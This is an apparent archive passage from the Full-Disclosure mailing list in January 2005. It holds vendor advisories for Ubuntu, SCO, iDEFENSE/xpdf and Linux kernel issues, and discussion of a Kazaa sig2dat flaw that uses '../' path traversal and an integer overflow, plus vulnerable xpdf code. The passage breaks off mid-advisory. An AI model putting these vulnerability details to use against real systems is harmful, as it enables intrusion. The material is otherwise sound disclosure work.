http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6-dev_6.0.2.5-1ubuntu1.3_i386.deb Size/MD5: 1425788 780ff037e17809b06ecdee21a39d9228 http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6_6.0.2.5-1ubuntu1.3_i386.deb Size/MD5: 1115830 42a211f5e1c07f4c0fd820c30c01c497 http://security.ubuntu.com/ubuntu/pool/universe/i/imagemagick/perlmagick_6.0.2.5-1ubuntu1.3_i386.deb Size/MD5: 137272 a977911d2f48337e64ab72f119f51dc2 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3_powerpc.deb Size/MD5: 1371386 9eadcc224574cbcc5a5ca9d7c82dcdc0 http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6-dev_6.0.2.5-1ubuntu1.3_powerpc.deb Size/MD5: 225288 e0f72079ba0c18ae6bc31d5e85c940aa http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6_6.0.2.5-1ubuntu1.3_powerpc.deb Size/MD5: 154596 add2a438f6f9635bce870a40c8577c86 http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6-dev_6.0.2.5-1ubuntu1.3_powerpc.deb Size/MD5: 1660674 bb2a732f815bf30e96ac4b4557b0c595 http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6_6.0.2.5-1ubuntu1.3_powerpc.deb Size/MD5: 1151774 35cf821f073d7ed882a8c4c6d94365da http://security.ubuntu.com/ubuntu/pool/universe/i/imagemagick/perlmagick_6.0.2.5-1ubuntu1.3_powerpc.deb Size/MD5: 136202 f8859166433ecc7b0bdc5ffa76ce8395 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/6fb5ea19/attachment.bin From martin.pitt at canonical.com Tue Jan 18 17:05:13 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Tue, 18 Jan 2005 18:05:13 +0100 Subject: [Full-Disclosure] [USN-63-1] MySQL client vulnerability Message-ID: <20050118170513.GC9816@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-63-1 January 18, 2005 mysql-dfsg vulnerability CAN-2005-0004 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: mysql-client The problem can be corrected by upgrading the affected package to version 4.0.20-2ubuntu1.2. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Javier Fern?ndez-Sanguino Pe?a noticed that the "mysqlaccess" program created temporary files in an insecure manner. This could allow a symbolic link attack to create or overwrite arbitrary files with the privileges of the user invoking the program. Source archives: http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-dfsg_4.0.20-2ubuntu1.2.diff.gz Size/MD5: 166762 9539079855c393735822c2a81066fc4f http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-dfsg_4.0.20-2ubuntu1.2.dsc Size/MD5: 892 ffefecd7367ae204441e9c578ef99c80 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-dfsg_4.0.20.orig.tar.gz Size/MD5: 9760117 f092867f6df2f50b34b8065312b9fb2b Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-common_4.0.20-2ubuntu1.2_all.deb Size/MD5: 24118 f4dc709c79ba5d369897ff900c902d71 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient-dev_4.0.20-2ubuntu1.2_amd64.deb Size/MD5: 2809872 a55c0f636b25edd5d13c0d803338488d http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient12_4.0.20-2ubuntu1.2_amd64.deb Size/MD5: 304142 b86111022aa1c15af7f7f3036f5433be http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-client_4.0.20-2ubuntu1.2_amd64.deb Size/MD5: 422204 f9bc9eb8cd9ac67e52eaa524e57bac99 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-server_4.0.20-2ubuntu1.2_amd64.deb Size/MD5: 3576784 d53773fbd06bb053f0a46e529aa38eee i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient-dev_4.0.20-2ubuntu1.2_i386.deb Size/MD5: 2773210 a6852a3f424271259b39bb03bb461b04 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient12_4.0.20-2ubuntu1.2_i386.deb Size/MD5: 287134 a21f225c8fa3330a43927745011c205f http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-client_4.0.20-2ubuntu1.2_i386.deb Size/MD5: 396138 0c2b5af3861525c81f2ff1ff220ecec9 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-server_4.0.20-2ubuntu1.2_i386.deb Size/MD5: 3485736 1604893d7116f1a157bd21ba1691cf10 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient-dev_4.0.20-2ubuntu1.2_powerpc.deb Size/MD5: 3109196 55cfe8be306fcf4b52b28dcd71b5f248 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient12_4.0.20-2ubuntu1.2_powerpc.deb Size/MD5: 307810 214c3513201913fe536530c9635a260e http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-client_4.0.20-2ubuntu1.2_powerpc.deb Size/MD5: 451622 990dc682f047b6f90ada50cbaa68bd99 http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-server_4.0.20-2ubuntu1.2_powerpc.deb Size/MD5: 3769240 007381b48ea3e942fd46d91321422673 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/3a3ddde9/attachment.bin From joel at servicestyle.com Tue Jan 18 17:17:19 2005 From: joel at servicestyle.com (Joel Merrick) Date: Tue, 18 Jan 2005 17:17:19 +0000 Subject: [Full-Disclosure] Security status of osCommerce? Message-ID: <1106068639.6909.7.camel@localhost> Hi, I'm wondering if anyone can tell me about the current security status of the MS2.2 release of osCommerce? I understand that there have been XSS vulnerabilities and DOS exploits, heve these been fixed in the MS2.2 downloadable from the site? Any help appreciated. -- Joel Merrick -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/259398cc/attachment.bin From Valdis.Kletnieks at vt.edu Tue Jan 18 18:01:54 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 18 Jan 2005 13:01:54 -0500 Subject: [Full-Disclosure] network associates mcafee controls In-Reply-To: Your message of "Tue, 18 Jan 2005 19:14:51 +0300." References: Message-ID: <200501181801.j0II1sxg031608@turing-police.cc.vt.edu> On Tue, 18 Jan 2005 19:14:51 +0300, bvsev at mail.ru said: > This is just for my personal knowledge, I just wanna run stuff without > getting "not enough rights" boxes all the time. My boss would be OK, don't > worry Then your boss should be happy to get somebody to turn them off on your machine. *Somebody* at your company decided that the machines should run the Mcaffee stuff, for reasons that seemed good at the time. And if you go bypassing them, that Somebody *will* eventually find out, and *will* be mad. Remember that the computer belongs to the company, and not to you. Would you get in trouble if you borrowed a company car or truck without permission, drove it thousands of kilometers on a personal vacation, and then returned it dirty and contaminated with hazardous waste? Then why do you think they won't mind at all if you borrow the company computer, drive it all over the Internet, and return it with some sort of virus or trojan or spyware that you accidentally installed on it? It might make *more* sense for you to make a list of the things that you get "not enough rights" boxes, and ask for them to be installed for you. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/338c9214/attachment.bin From sutpen at gmail.com Tue Jan 18 19:15:24 2005 From: sutpen at gmail.com (Thomas Sutpen) Date: Tue, 18 Jan 2005 12:15:24 -0700 Subject: [Full-Disclosure] Shoe 1.0 - Remote Lace Overflow In-Reply-To: <7edf447e05011107057e2f07b3@mail.gmail.com> References: <20041222162045.GA12051@0x90.org> <6.0.1.1.2.20041226193459.05301dd0@mail.mindtheater.net> <7edf447e05011107057e2f07b3@mail.gmail.com> Message-ID: On Tue, 11 Jan 2005 07:05:12 -0800, stonersavant wrote: > I tested this in my lab. I'm happy to report that s10.5 Ninja Tabi > boots appear to be unaffected by the vulnerability. Unfortunately, this raises more questions than it creates answers. For example, if the people of Japan, an island nation isolated until a series of big wars in the 1600s, were capable of developing long before external contact ethnic footwear in which this problem is not endemic, who else has done so? Is there any other ethnic footwear out there that by design is resistant to this type of attack? I suppose I could begin the list by contributing another solution. Entry 1. The Japanese - Tabi boots. Entry 2. The Dutch - Clogs. These wooden devices couldn't be any less comfortable if one were to hammer nails through the soles before putting them on. And merchants that sell them always try to bundle them as part of a package deal, including a smoke and a pancake. However, they seem immune to the vulnerability. Any other contributions? Chrz, TS From please_reply_to_security at sco.com Tue Jan 18 21:03:18 2005 From: please_reply_to_security at sco.com (please_reply_to_security at sco.com) Date: Tue, 18 Jan 2005 13:03:18 -0800 Subject: [Full-Disclosure] UnixWare 7.1.4 UnixWare 7.1.3 UnixWare 7.1.1 : chroot A known exploit can break a chroot prison. Message-ID: <20050118130318.A7526@caldera.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: UnixWare 7.1.4 UnixWare 7.1.3 UnixWare 7.1.1 : chroot A known exploit can break a chroot prison. Advisory number: SCOSA-2005.2 Issue date: 2005 January 14 Cross reference: sr887824 fz528555 erg712509 CAN-2004-1124 ______________________________________________________________________________ 1. Problem Description chroot() is a system call that is often used to provide an additional layer of security when untrusted programs are run. The call to chroot() is normally used to ensure that code run after it can only access files at or below a given directory. Originally, chroot() was used to test systems software in a safe environment. It is now generally used to lock users into an area of the file system so that they can not look at or affect the important parts of the system they are on. Several programs use chroot jails to ensure that even if you break into the process's address space, you can't do anything harmful to the whole system. If chroot() can be broken then this precaution is broken. A known exploit can break a chroot prison. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-1124 to t his issue. A new file system tunable, CHROOT_SECURITY is provided to protect against the known exploit for escaping from a chroot prison. The new tunable is described in /etc/conf/dtune.d/fs and defined in /etc/conf/mtune.d/fs. Protection is provided by the default value of 1 but traditional behavior may be obtained by resetting CHROOT_SECURITY to 0. chroot() is a good way to increase the security of the software provided that secure programming guidelines are utilized and chroot() system call limitations are taken into account. Chrooting will prevent an attacker from reading files outside the chroot jail and will prevent many local UNIX attacks (such as SUID abuse and /tmp race conditions). The number of ways that root user can break out of chroot is huge. If there is no root user defined within the chroot environment, no SUID binaries, no devices, and the daemon itself dropped root privileges right after calling chroot() call breaking out of chroot appears to be impossible. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- UnixWare 7.1.4 /etc/conf/pack.d/namefs/Driver_atup.o /etc/conf/pack.d/namefs/Driver_mp.o /usr/include/sys/vfs.h UnixWare 7.1.3 See Maintainance pack 4 UnixWare 7.1.1 See Maintainance pack 5 3. Solution The proper solution is to install the latest packages. 4. UnixWare 7.1.4 4.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.2 4.2 Verification MD5 (erg712629c.pkg.Z) = 480ecc98f9c918a3b35082c1bef2aa44 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download erg712629c.pkg.Z to the /var/spool/pkg directory # uncompress /var/spool/pkg/erg712629c.pkg.Z # pkgadd -d /var/spool/pkg/erg712629c.pkg 5. UnixWare 7.1.3 5.1 Location of Fixed Binaries The fixes are available in SCO UnixWare Release 7.1.3 Maintenance Pack 4 or later. See ftp://ftp.sco.com/pub/unixware7/713/mp/mp4/uw713mp4.txt or ftp://ftp.sco.com/pub/unixware7/713/mp/mp4/uw713mp4.html 5.2 Verification MD5 (uw713mp4.image) = 7eb9e20ed6a6d9ed1ab7335323bf25d1 md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download uw713mp4.image to the /var/spool/pkg directory # pkgadd -d /var/spool/pkg/uw713mp4.image 6. UnixWare 7.1.1 6.1 Location of Fixed Binaries The fixes are available in SCO UnixWare Release 7.1.1 Maintenance Pack 5 or later. See ftp://ftp.sco.com/pub/unixware7/uw711pk/uw711mp5.txt and ftp://ftp.sco.com/pub/unixware7/uw711pk/uw711mp5_errata.txt 6.2 Verification MD5 (uw711mp5.cpio.Z) = 50bd66b7d57b2025da9dca4010d0ab1a md5 is available for download from ftp://ftp.sco.com/pub/security/tools 6.3 Installing Fixed Binaries See uw711mp5.txt and uw711mp5_errata.txt for install instructions. 7. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1124 http://www.packetfactory.net/projects/libexploit/ http://www.bpfh.net/simes/computing/chroot-break.html http://www.linuxsecurity.com/content/view/117632/49/ SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix closes SCO incidents sr887824 fz528555 erg712509. 8. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 9. Acknowledgments SCO would like to thank Simon Roses Femerling ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (SCO/UNIX_SVR5) iD8DBQFB6GDDaqoBO7ipriERAgpwAJ9ohWuGizBGP5rLwQfBvMkDtZdVIQCfQQaF +ysj7pTq2BCUn+5vqu7CJvA= =EDUn -----END PGP SIGNATURE----- From dufresne at winternet.com Tue Jan 18 20:22:28 2005 From: dufresne at winternet.com (Ron DuFresne) Date: Tue, 18 Jan 2005 14:22:28 -0600 (CST) Subject: [Full-Disclosure] Illegal mind control is coming to the USA, black helicopters In-Reply-To: Message-ID: On Mon, 17 Jan 2005, Feher Tamas wrote: > http://news.bbc.co.uk/2/hi/uk_news/magazine/4169313.stm > > ... Some scientists in the US are working on more advanced > technology which might be better equipped at detecting > deception. Imagine the Pentagon equipped with a machine > which can read minds. Sound like the plot of a Hollywood > thriller? Well, it might not be that far away ... Yes, but getting mothers to allow the gov to implant 120 wire electrodes in their newborn babies to effectivly use the technology on the public at large might cause an outcry from those ladies. course, congress could always legislate the reuirements eh? of course, on a semi serious note, elctromagnectic imaging scans have proven to be pretty effective in noting the difference in a lying brain and a truthful one. Now if they can just consolidate all that equipment into a small handable wand kinda device... Thanks, Ron DuFresne -- "Sometimes you get the blues because your baby leaves you. Sometimes you get'em 'cause she comes back." --B.B. King ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. From Valdis.Kletnieks at vt.edu Tue Jan 18 21:21:50 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Tue, 18 Jan 2005 16:21:50 -0500 Subject: [Full-Disclosure] Illegal mind control is coming to the USA, black helicopters In-Reply-To: Your message of "Tue, 18 Jan 2005 14:22:28 CST." References: Message-ID: <200501182121.j0ILLp8X006146@turing-police.cc.vt.edu> On Tue, 18 Jan 2005 14:22:28 CST, Ron DuFresne said: > of course, on a semi serious note, elctromagnectic imaging scans have > proven to be pretty effective in noting the difference in a lying brain > and a truthful one. Now if they can just consolidate all that equipment > into a small handable wand kinda device... What we *really* need is a portable cluon-flux detector, so that we can wave it past somebody and tell if they're a net emitter of cluons, or a cluon sink, or a null-cluon. Interestingly enough, it can be shown that cluon sinks are preferable to null-cluons - sinks will absorb cluons and accumulate them, eventually becoming cluon emitters once they reach a critical mass of cluons. Null cluons react with cluons in about the same way as neutrinos react with normal matter - they very rarely hit-and-stick. OB-Full-Disclosure: The effect on your organization's overall security stance when a null-cluon gets appointed into management. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/db7d2d4c/attachment.bin From skylined at edup.tudelft.nl Tue Jan 18 22:15:01 2005 From: skylined at edup.tudelft.nl (Berend-Jan Wever) Date: Tue, 18 Jan 2005 23:15:01 +0100 Subject: [Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations References: <001201c4fcd4$d32e9c10$f85ab350@noone> Message-ID: <008b01c4fdab$2c4aa1a0$0100a8c0@grotedoos> Short version: I looked at the "Length:999999999..." problem: It doesn't seem exploitable. Details: The sig2dat:// url causes Internet Explorer to run ksig.exe, ksig.exe is terminated because of an unhandled exception 0x0eedfade that is raised from 0x00403B69 in my ksig.exe. Googling for this exception will not report anything very usefull, other than that it is mentioned only in relation with Delphi programs. My impression of the problem: So I ran it through a debugger and I think that the number "99999999..." is run through a routine that converts it from string to an integer. Since it will not fit into a 32-bit integer, this function throws an exception to report this error. This exception is not caught by ksig.exe, terminating the program. I'm not 100% sure since I only looked at the code for about half an hour and I have no Delphi compiler installed to test if any of the default string2int routines throw exception 0x0eedfade. Feel free to prove me wrong. Cheers, Berend-Jan Wever SMTP: HTTP: http://www.edup.tudelft.nl/~bjwever MSN: Skylined at edup.tudelft.nl IRC: SkyLined in #SkyLined on EFNET PGP: key ID 0x48479882 ----- Original Message ----- From: "Rafel Ivgi, The-Insider" To: "Windows NTBugtraq Mailing List" ; ; "securitytracker.com" ; ; ; Sent: Monday, January 17, 2005 21:40 Subject: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > Application: Kazaa > Vendors: http://www.kazaa.com > Versions: kazaa lite k++(probably all others too...) > Platforms: Windows > Bug: Sig2Dat Protocol Remote Integer Overflow and > Denial Of Service by creating files in arbitrary > locations > Exploitation: Remote With Browser > Date: 17 Jan 2005 > Author: Rafel Ivgi, The-Insider > E-Mail: the_insider at mail.com > Website: http://theinsider.deep-ice.com > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > 1) Introduction > 2) Bugs > 3) The Code > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > =============== > 1) Introduction > =============== > > Kazaa is currently the world?s most common P2P file sharing application. > When installing Kazaa a new protocol is installed named ?sig2dat?. > This protocol contain an integer overflow vulnerability which may cause > a crash and may allow remote execution of code. There is another > vulnerability in the ?File:? parameter which allows creating files in > arbitrary locations and committing Denial Of Service. > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > ====== > 2) Bug > ====== > > The sig2dat protocol syntax: > Sig2dat://%7c< file length in > kilobytes>%7c%7c > > The vulnerable parameter is the file ?Length? (in bytes). Specifying a > numeric value bigger than a 999999999. > > Successful exploiting of this vulnerability may allow remote code execution. > > There is another vulnerability in the ?File:? parameter. It allows creation > of files in arbitrary locations within the same partition as the shared > folder, > using the classic directory transversal technique ?../?. > > For Example: > CLICK HERE > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > =========== > 3) The Code > =========== > > 1) CLICK > HERE > ********************************************************************* > 2) CLICK HERE > ********************************************************************* > 3) > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > --- > Rafel Ivgi, The-Insider > http://theinsider.deep-ice.com > > "Scripts and Codes will make me D.O.S , but they will never HACK me." > > From markus-kern at gmx.net Tue Jan 18 22:59:51 2005 From: markus-kern at gmx.net (Markus Kern) Date: Tue, 18 Jan 2005 23:59:51 +0100 Subject: [Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations In-Reply-To: <001201c4fcd4$d32e9c10$f85ab350@noone> References: <001201c4fcd4$d32e9c10$f85ab350@noone> Message-ID: <17746596171.20050118235951@gmx.net> On Monday, January 17, 2005, 9:40:47 PM Rafel Ivgi, The-Insider wrote: > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Application: Kazaa > Vendors: http://www.kazaa.com > Versions: kazaa lite k++(probably all others too...) > Platforms: Windows > Bug: Sig2Dat Protocol Remote Integer Overflow and > Denial Of Service by creating files in arbitrary > locations > Exploitation: Remote With Browser > Date: 17 Jan 2005 > Author: Rafel Ivgi, The-Insider > E-Mail: the_insider at mail.com > Website: http://theinsider.deep-ice.com > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > 1) Introduction > 2) Bugs > 3) The Code > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > =============== > 1) Introduction > =============== > Kazaa is currently the world?s most common P2P file sharing application. > When installing Kazaa a new protocol is installed named ?sig2dat?. This is incorrect. Kazaa itself does not install a handler for the 'sig2dat' URIs. In fact it doesn't even know about them. The sig2dat URIs are created and handled by a third party tool [1] which contains the described flaws and happens to be included in the (unofficial) Kazaa Lite package. The official Kazaa from http://www.kazaa.com does not handle sig2dat URIs and is not vulnerable. > This protocol contain an integer overflow vulnerability which may cause > a crash and may allow remote execution of code. There is another > vulnerability in the ?File:? parameter which allows creating files in > arbitrary locations and committing Denial Of Service. [1] sig2dat, http://www.geocities.com/vlaibb/tools.html (The design and code of this thing are horrific and there are no doubt plenty of other bugs to be found) -- Markus Kern From idlabs-advisories at idefense.com Tue Jan 18 21:32:43 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Tue, 18 Jan 2005 16:32:43 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.18.05: Multiple Unix/Linux Vendor Xpdf makeFileKey2 Stack Overflow Message-ID: Multiple Unix/Linux Vendor Xpdf makeFileKey2 Stack Overflow iDEFENSE Security Advisory 01.18.05 www.idefense.com/application/poi/display?id=186&type=vulnerabilities January 18, 2005 I. BACKGROUND Xpdf is an open-source viewer for PDF files. More information is available at the following site: http://www.foolabs.com/xpdf/ II. DESCRIPTION Remote exploitation of a buffer overflow vulnerability in the xpdf PDF viewer included in multiple Unix and Linux distributions could allow for arbitrary code execution as the user viewing a PDF file. The vulnerability specifically exists due to insufficient bounds checking while processing a PDF file that provides malicious values in the /Encrypt /Length tag. The offending code can be found in the Decrypt::makeFileKey2 function in the source file xpdf/Decrypt.cc. GBool Decrypt::makeFileKey2(int encVersion, int encRevision, int keyLength, GString *ownerKey, GString *userKey, int permissions, GString *fileID, String *userPassword, Guchar *fileKey) { Guchar *buf; Guchar test[32]; Guchar fState[256]; Guchar tmpKey[16]; Guchar fx, fy; int len, i, j; GBool ok; ... memcpy(test, userKey->getCString(), 32); for (i = 19; i >= 0; --i) { for (j = 0; j < keyLength; ++j) { [overflow] tmpKey[j] = fileKey[j] ^ i; } ... } ... } In this piece of code, the keyLength value is ultimately supplied by the PDF file. This allows an attacker to specify an arbitrarily large value and overwrite portions of stack memory. As a consequence, arbitrary code execution is possible. III. ANALYSIS Successful exploitation of this vulnerability leads to arbitrary code execution as the user who opened the malicious file. An attacker would have to convince a target to open the provided file in order to exploit this vulnerability, thus lessening the impact. Exploitation can be performed reliably, especially with knowledge of the target system. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability in version 3.00 of xpdf. It is suspected previous versions are vulnerable. The following Linux vendors may be affected by this vulnerability: Novell Inc. (SUSE) Red Hat Inc. The Fedora Project Debian Project Gentoo Foundation Inc. The FreeBSD Project OpenBSD V. WORKAROUND Only open PDF files from trusted individuals. VI. VENDOR RESPONSE A patch to address this issue is available at: ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.00pl3.patch Updated binaries (ver. 3.00pl3) to address this issue are available at: http://www.foolabs.com/xpdf/download.html VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the names CAN-2005-0064 to these issues. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 01/06/2005 Initial vendor notification 01/12/2005 Initial vendor response 01/18/2005 Coordinated public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From pete.connolly at btinternet.com Tue Jan 18 21:47:35 2005 From: pete.connolly at btinternet.com (Pete Connolly) Date: Tue, 18 Jan 2005 21:47:35 +0000 Subject: [Full-Disclosure] Re: [bugtraq] Novell GroupWise WebAccess error modules loading In-Reply-To: <5F9D803B30A8E4418166E637D50E9E2A139F3A@miraculix.scip.ch> References: <5F9D803B30A8E4418166E637D50E9E2A139F3A@miraculix.scip.ch> Message-ID: <200501182147.36030.pete.connolly@btinternet.com> On Monday 17 January 2005 16:42, Marc Ruef wrote: > Dear ladies and gentlemen > > We have not found any information on that issue. So I sent this information > (nearly the same posting) on 14/12/04 to info at novell.com and asked for a > solution. As I haven't heard _anything_ until 23/12/04 I sent a reminder > email to the same address. So no reply came back we made this vulnerability > public finally to force Novell to react on this case. An Attack Tool Kit > (ATK) plugin that addresses this vulnerability will be published in the > next days[1]. > > Regards, > > Marc Ruef > > [1] http://www.computec.ch/projekte/atk/ It took me less than 10 seconds to find this url http://support.novell.com/security-alerts/ using the keywords "novell security email address" in Google. Had you taken the same time to do this, you would have found that secure at novell.com is the place to send this kind of notification. No doubt you've spent a lot of time doing some good research. Had you spent a little longer there would probably be a patch by now. Making up 'possible' email addresses for this kind of mail and then 'forcing' Novell to go public on an issue that's probably sitting in a spam bucket is a bit of waste of everyone's time and effort, your own included. Regards Peter From 3xp101t at gmail.com Wed Jan 19 03:07:38 2005 From: 3xp101t at gmail.com (Juan dela Cruz) Date: Wed, 19 Jan 2005 11:07:38 +0800 Subject: [Full-Disclosure] The UPC packer Message-ID: Anybody knows about this UPC Win32 packer or where to find it? I've searched the info highway and ended up to Swizzor. From propolice at gmail.com Wed Jan 19 04:11:45 2005 From: propolice at gmail.com (Eduardo Tongson) Date: Wed, 19 Jan 2005 12:11:45 +0800 Subject: [Full-Disclosure] The UPC packer In-Reply-To: References: Message-ID: > Anybody knows about this UPC Win32 packer or where to find it? I've > searched the info highway and ended up to Swizzor. > _______________________________________________ UPX -- Eduardo Tongson MCSE http://i.keepsilent.net [:] propolice[a]gmail.com * Minesweeper Consultant & Solitaire Expert From 3xp101t at gmail.com Wed Jan 19 04:12:58 2005 From: 3xp101t at gmail.com (Juan dela Cruz) Date: Wed, 19 Jan 2005 12:12:58 +0800 Subject: [Full-Disclosure] Re: The UPC packer In-Reply-To: References: Message-ID: It really is UPC not UPX. Try searching google with "swizzor UPC" On Wed, 19 Jan 2005 11:07:38 +0800, Juan dela Cruz <3xp101t at gmail.com> wrote: > Anybody knows about this UPC Win32 packer or where to find it? I've > searched the info highway and ended up to Swizzor. > From mike at thompsonmike.co.uk Wed Jan 19 09:19:02 2005 From: mike at thompsonmike.co.uk (Michael Thompson) Date: Wed, 19 Jan 2005 09:19:02 +0000 Subject: [Full-Disclosure] SMTP Spam Attempt? Message-ID: <41EE2606.1020000@thompsonmike.co.uk> For the past hour I have just watched over 200 dialup machines from all over the world attemp to connect to my Mailserver They were all rejected like the following Jan 19 09:05:07 polaris postfix/smtpd[24494]: warning: Illegal address syntax from host195-202.pool82191.interbusiness.it[82.191.202.195] in MAIL command: @ This lasted for about a hour. All I can think of is that I was picked on by some script/virus/Trojan looking to spam. Any Views? -- Mike http://www.thompsonmike.co.uk From meissner at suse.de Wed Jan 19 10:34:03 2005 From: meissner at suse.de (Marcus Meissner) Date: Wed, 19 Jan 2005 11:34:03 +0100 Subject: [Full-Disclosure] grsecurity 2.1.0 release / 5 Linux kernel advisories In-Reply-To: <20050107181853.GA12617@grsecurity.net> References: <20050107181853.GA12617@grsecurity.net> Message-ID: <20050119103403.GA10083@suse.de> On Fri, Jan 07, 2005 at 01:18:53PM -0500, Brad Spengler wrote: > Let's try this again, since web archives don't like multipart > attachments. > > grsecurity 2.1.0 release / Linux Kernel advisories > -------------------------------------------------------------------- > > Table Of Contents: ... > 4) 2.6 scsi ioctl integer overflow and information leak > 4) 2.6 scsi ioctl integer overflow and information leak > > In drivers/block/scsi_ioctl.c: > > at sg_scsi_ioctl(): > > struct request *rq; > > int err, 